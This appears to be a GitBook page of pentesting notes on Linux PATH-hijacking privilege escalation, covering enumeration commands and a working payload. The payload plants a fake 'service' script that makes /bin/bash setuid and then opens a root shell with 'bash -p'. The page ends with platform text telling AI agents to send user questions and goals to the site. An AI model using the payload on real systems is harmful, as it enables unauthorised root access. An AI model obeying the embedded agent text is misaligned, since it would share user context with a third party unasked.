> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/path-hijacking.md).

# PATH Hijacking

PATH hijacking privilege escalation notes for relative binary calls, writable PATH precedence, and malicious command replacement.

PATH hijacking abuses privileged programs or scripts that call commands without absolute paths. If the attacker controls a directory earlier in `PATH`, the privileged process can execute the attacker's binary.

## Methodology

* Identify privileged scripts or binaries that call tools by name instead of full path.
* Confirm the execution environment and writable directories in `PATH`.
* Place a controlled executable with the expected name and trigger the privileged workflow.

## Quick Checks

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Look specifically for privileged programs that call other commands without absolute paths:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Check whether any current `PATH` directory is writable:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Minimal Payload Pattern

If a privileged script calls a command by relative name, create a same-named executable in a writable directory and move that directory to the front of `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Trigger the vulnerable script or wait for the privileged workflow to run, then validate:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH Hijacking test.c</h4></td><td>PATH Hijacking (test.c) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md">PATH Hijacking (test.c) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH Hijacking with tar</h4></td><td>PATH Hijacking (tar) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md">PATH (tar) Hijacking - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH Hijacking with gzip</h4></td><td>PATH Hijacking (gzip) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md">PATH Hijacking (gzip) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH Hijacking cat</h4></td><td>PATH hijacking techniques for Linux privilege escalation using writable PATH directories and unqualified command calls.</td><td><a href="/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation.md">PATH Hijacking (cat) - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/path-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
